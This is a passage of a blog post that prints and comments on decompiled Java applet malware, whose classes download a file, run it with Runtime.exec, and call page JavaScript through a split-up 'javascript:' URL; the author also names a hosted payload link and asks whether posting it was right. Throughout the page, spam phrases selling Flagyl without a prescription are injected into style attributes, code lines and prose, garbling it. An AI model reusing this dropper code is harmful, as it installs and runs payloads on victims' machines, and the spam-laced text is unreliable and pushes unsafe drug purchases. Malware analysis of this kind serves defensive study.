<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 inputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl results</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             <span style="color: #0000ff">if</span>(bufferedoutputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 bufferedoutputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>real brand Flagyl online</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span> }</pre>  </div></div></p>
<p><p>c_ed.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Where can i cheapest Flagyl online</b>, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">class</span> c_ed</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dosage</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     c_ed()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     <span style="color: #0000ff">public</span> void ed(String s, String s1, <b>Buy Flagyl without a prescription</b>, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>             c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             c_de c_de1 = <span style="color: #0000ff">new</span> c_de();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>buy Flagyl online cod</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             <span style="color: #0000ff">int</span> i = 0;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             do</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 <span style="color: #0000ff">if</span>(i &gt;= 5)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                     <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dose</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>                 <span style="color: #0000ff">if</span>(c_de1.de(s, s1))</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>                 {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                     Process process = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                     process = Runtime.getRuntime().<span style="color: #0000ff">exec</span>(s1);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                     <span style="color: #0000ff">if</span>(process != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl wiki</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                         c_js1.js(&quot;JSM_onLoad&quot;, applet);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                         <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl australia, uk, us, usa</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 i++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>             } <span style="color: #0000ff">while</span>(<span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span> }</pre>  </div></div></p>
<p><p>c_js.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, <b>Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.applet.AppletContext;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Buy Flagyl online no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_js</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_js()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>buy Flagyl from canada</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     <span style="color: #0000ff">public</span> void js(String s, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         String s1 = &quot;vascri&quot;;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Where can i find Flagyl online</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             applet.getAppletContext().showDocument(<span style="color: #0000ff">new</span> URL((<span style="color: #0000ff">new</span> StringBuilder()).append(&quot;ja&quot;).append(s1).append(&quot;pt:&quot;).append(s).append(&quot;();&quot;).toString()));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>doses Flagyl work</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> }</pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>ok, c_js executes a javascript function back on the browser, where the varable ’s’ is a function.&#160; I like the way they break up “ja-vascri-pt:”</p></p>
<p><p>c_ed calls the javascript function JSM_onLoad&#160; (this is in that last javascript file I showed, the one with the poetry on the bottom) and executes it using c_js.</p></p>
<p><p>c_de, I could be missing something, but it looks like that code can download near anything.&#160; Kind of scary that one.</p></p>
<p><p>c_gP, I will need a Java expert for that.&#160; Completely dumbfounds me right now, but I don’t have a good Java environment to play with right now to try it out. (I’m working on that, but it is late).</p></p>
<p><p>a, this one is the entry point for the applet.&#160; It is easy to see the link in there, it comes out to: [http://dl.dropbox.com/u/41185898/a.gif] Which is a broaken link (but I was getting excited there).</p></p>
<p><h3></h3></p>
<p><h3>Where did this go?</h3></p>
<p><p>OK, I spent a couple of hours on this, <b>Where can i buy cheapest Flagyl online</b>, part of that is writing this up, so this is kind of a mad dash.&#160; But it looks like the point was to load random images onto the page.&#160; But someone else can look that up.</p></p>
<p><p>Now the rest of the ethical delima: should I have posted this?&#160; Personally I think there are valuable things to learn from reading code like this.&#160; And it is always good to know what the “other side” is doing.&#160; But is posting the code more harm than good?</p></p>
<p><p>Tell me what you think.&#160; If you convince me I did wrong, some of this may go away.</p>.</p>
<p></p>
